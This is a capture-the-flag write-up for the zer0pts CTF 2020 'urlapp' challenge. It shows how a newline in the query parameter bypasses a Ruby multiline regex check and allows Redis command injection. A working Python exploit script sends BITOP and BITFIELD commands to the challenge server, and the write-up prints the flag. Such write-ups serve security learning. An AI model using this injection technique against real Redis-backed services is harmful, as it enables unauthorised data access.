# [zer0pts CTF 2020] urlapp
###### tags: `zer0pts CTF`
## overview
It was a URL shortening service built with `sinatra` and `redis`. the flag was in the redis as the `flag` key, but we can get keys `[0-9a-f]{16}` formmatted only.
## solution
However, ruby's regexp is a bit of weak. As default, it process given string as *multiple line string*. So strings like a `"GET flag\naaaaaaaaaaaaaaaa"` pass the check.
And because of handcrafted redis client, we can inject any redis command as we like.
Thouth we can do redis command injection, but simply `GET flag` won't be worked, just returned empty result. Because WEBrick server's `redirect` instruction could not handle url like `http://3.112.201.75:8004/zer0pts{....`
My approach is:
- copy `flag` to another name (because `flag` is overwritten every request). to do this, we can use `BITOP` operation even `RENAME` is forbidden.
- replace flag's i-th character to `_` using `BITFIELD`. if we succeed to replace `{` and `}`, then http response can include the flag like `zer0pts_......_`
The script is
```python=
import requests
import os
import re
from binascii import hexlify
SERVER = 'http://3.112.201.75:8004'
r = requests.post(SERVER, data={
"url": "http://example.com/"
})
short = r.text.split("=")[1]
index = 8
while True:
key = hexlify(os.urandom(8)).decode()
requests.get(SERVER, params={
"q": "{short}\n\r\nBITOP AND {key} flag flag\r\nBITFIELD {key} SET u8 #7 95 SET u8 #{index} 95\r\n".format(short=short, key=key, index=index)
})
try:
r = requests.get(SERVER, params={
"q": key
})
if len(r.text) > 0:
print(re.findall("zer0pts[a-zA-Z0-9_\+\!\?]+", r.text))
break
except:
pass
index += 1
print(index, key)
```
then we got the flag `zer0pts{sh0rt_t0_10ng_10ng_t0_sh0rt}`